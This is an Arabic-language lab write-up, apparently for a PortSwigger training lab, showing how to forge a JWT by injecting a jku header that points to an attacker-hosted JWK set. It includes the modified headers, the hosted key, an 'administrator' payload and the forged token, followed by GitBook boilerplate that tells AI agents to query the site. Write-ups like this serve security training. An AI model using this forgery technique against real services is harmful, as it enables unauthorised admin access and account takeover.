> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/jwt/jwt-authentication-bypass-via-jku-parameter-injection.md).

# تجاوز مصادقة JWT عبر حقن معامل JKU

### تجاوز مصادقة JWT عبر حقن ترويسة JKU

**خلفية المختبر**

يستخدم هذا المختبر آلية لإدارة الجلسات قائمة على JWT. / يدعم الخادم **jku** المعامل في ترويسة JWT، والذي يحدد عنوان URL الذي يتم منه جلب المفتاح العام (JWK) المستخدم للتحقق من التوقيع.

تعود الثغرة إلى أن **الخادم لا يتحقق مما إذا كان عنوان URL المقدم في `jku` ينتمي إلى نطاق موثوق**. لذلك من الممكن إجبار الخادم على استرجاع مفتاح عام يتحكم به المهاجم.

الهدف:

* أنشئ JWT يتيح الوصول إلى `/admin` لوحة الإدارة
* حذف المستخدم **carlos**

المعرّف المزوَّد:

* `wiener : peter`

**JWT الأولي**

يتم الحصول على JWT صالح بعد المصادقة باستخدام `wiener` المستخدم:

{% code overflow="wrap" %}

```bash
eyJraWQiOiJhMjZmNDUwYy1lOWRjLTRlZTUtODRjOC1lYWQxNWNmNDE2NjkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODI3OSwic3ViIjoid2llbmVyIn0.QdpQA5ISeH9BS1JttLfm9VCOWA28H6-RDgCV59L5KVr3B8qLBXtt6DgQ32eW6mlKldZ8ZWhufcaPEsReqERGdhvgAWrQhruF7awvsGceHFQgxxBqcW3Yd3urPIZzl-S_EdIVaUwxgLkOv9acYUG1h9GJqgSFIyAjB8JuxQSHSHItzJSTHVMNQ9ffYDOb3fOQW64_LQko2rWUZLRhkG1-JTX3xYA03FOlvbVC4BfXKCBWV-dlrQaeFV8JgrMr-uDKhnJuzD34xFfjav0SXPedTRwMLhnThyFJJzx5OZwSnTUEuqlnipndHvjOhxYX-0OVbqpONwRrd41buEK1EI_HqA
```

{% endcode %}

**تغيير ترويسة JWT**

تتمثل الهجمة في إضافة **jku** المعامل إلى الترويسة للإشارة إلى عنوان URL عام مستضاف على خادم Exploit، والذي سيعمل كمفتاح JWK خاضع للتحكم.

الترويسة المعدلة:

```json
{
    "kid": "a26f450c-e9dc-4ee5-84c8-ead15cf41669",
    "alg": "RS256",
    "jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net"
}
```

**توليد زوج من مفاتيح RSA**

يتم توليد زوج جديد من مفاتيح RSA على جانب المهاجم.

<figure><img src="/files/32f75a0e0d576416f118d60b362595b9d6e94cb6" alt=""><figcaption></figcaption></figure>

يُحوَّل المفتاح العام إلى صيغة JWK ليتم تقديمه بواسطة خادم Exploit.

<figure><img src="/files/b38c00f3200cb78a5f87a6e9a17ac3e38e538293" alt=""><figcaption></figcaption></figure>

محتوى JWK العام:

```json
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
```

**استضافة JWK على خادم Exploit**

يُعرض JWK كمجموعة من المفاتيح، كما يتوقع الخادم المستهدف:

```json
{
   "keys": [
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
   ]
}
```

<figure><img src="/files/6ab6cd3d643f6a03f783f2c5f7ae76fed63850aa" alt=""><figcaption></figcaption></figure>

**ترويسة JWT النهائية**

الـ **kid** يتم تحديث الحقل ليتطابق مع حقل JWK المستضاف، و **jku** يشير إلى عنوان URL الدقيق للملف المكشوف:

```json
{
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "alg": "RS256",
    "jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net/exploit"
}
```

<figure><img src="/files/4e5ad4c4ef14580bd0424ca918b1c8a1c4206a14" alt=""><figcaption></figcaption></figure>

**التوقيع ورفع الصلاحيات**

يتم توقيع JWT باستخدام **المفتاح الخاص** المقابل للمفتاح العام المعروض.

<figure><img src="/files/d813273a75afef5b49528493c5991e17db41282b" alt="" width="563"><figcaption></figcaption></figure>

يتم تعديل الحمولة لانتحال مستخدم مدير:

```json
{
  "iss": "portswigger",
  "exp": 1767548841,
  "sub": "administrator"
}
```

JWT النهائي :

```bash
eyJraWQiOiIwZDYxOWI5OC1iNGE2LTQyNTItOWQzZS1mMzcwNTQzMzYzNGIiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYWUxMDA1MDA0NmJkNTIwODFkNWI2ODMwMWNhMDBiZS5leHBsb2l0LXNlcnZlci5uZXQvZXhwbG9pdCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODg0MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.QWCX9x4q3baQllVGwrVewi5-lPXFEvLltEn9hm3mwSz4XjDbBXABtUL5bB5bUL4_kE1tQrbgG5JFwsHocV6pew8hvm3mZ-0yspsr7bc-qD7RYBU8jecC2wX2R8TflGtKgIKf9KwWPLxRDWkYPOBIbwhSp5HTAbe9Ns4ZZVUz7_nIcypKHyJBOSXSCLHQI7HUrkll3ekHiR9a-n7gSeVkJ3-qnrMBDibasazlChaoxVaLRQGsFrEX7xFKA1eYYM1SxnhfHSO6Q-txUmdOtzAMEdlsSAOPIyJ5aRvIkSDBwHNzl8ouEl5c-qEjmEfShgUuNY6HIERn96HRIj5xGQgIGg
```

<figure><img src="/files/a448f5adb84ae7bc6c18cd8c0b2020750dd5c1bc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/jwt/jwt-authentication-bypass-via-jku-parameter-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
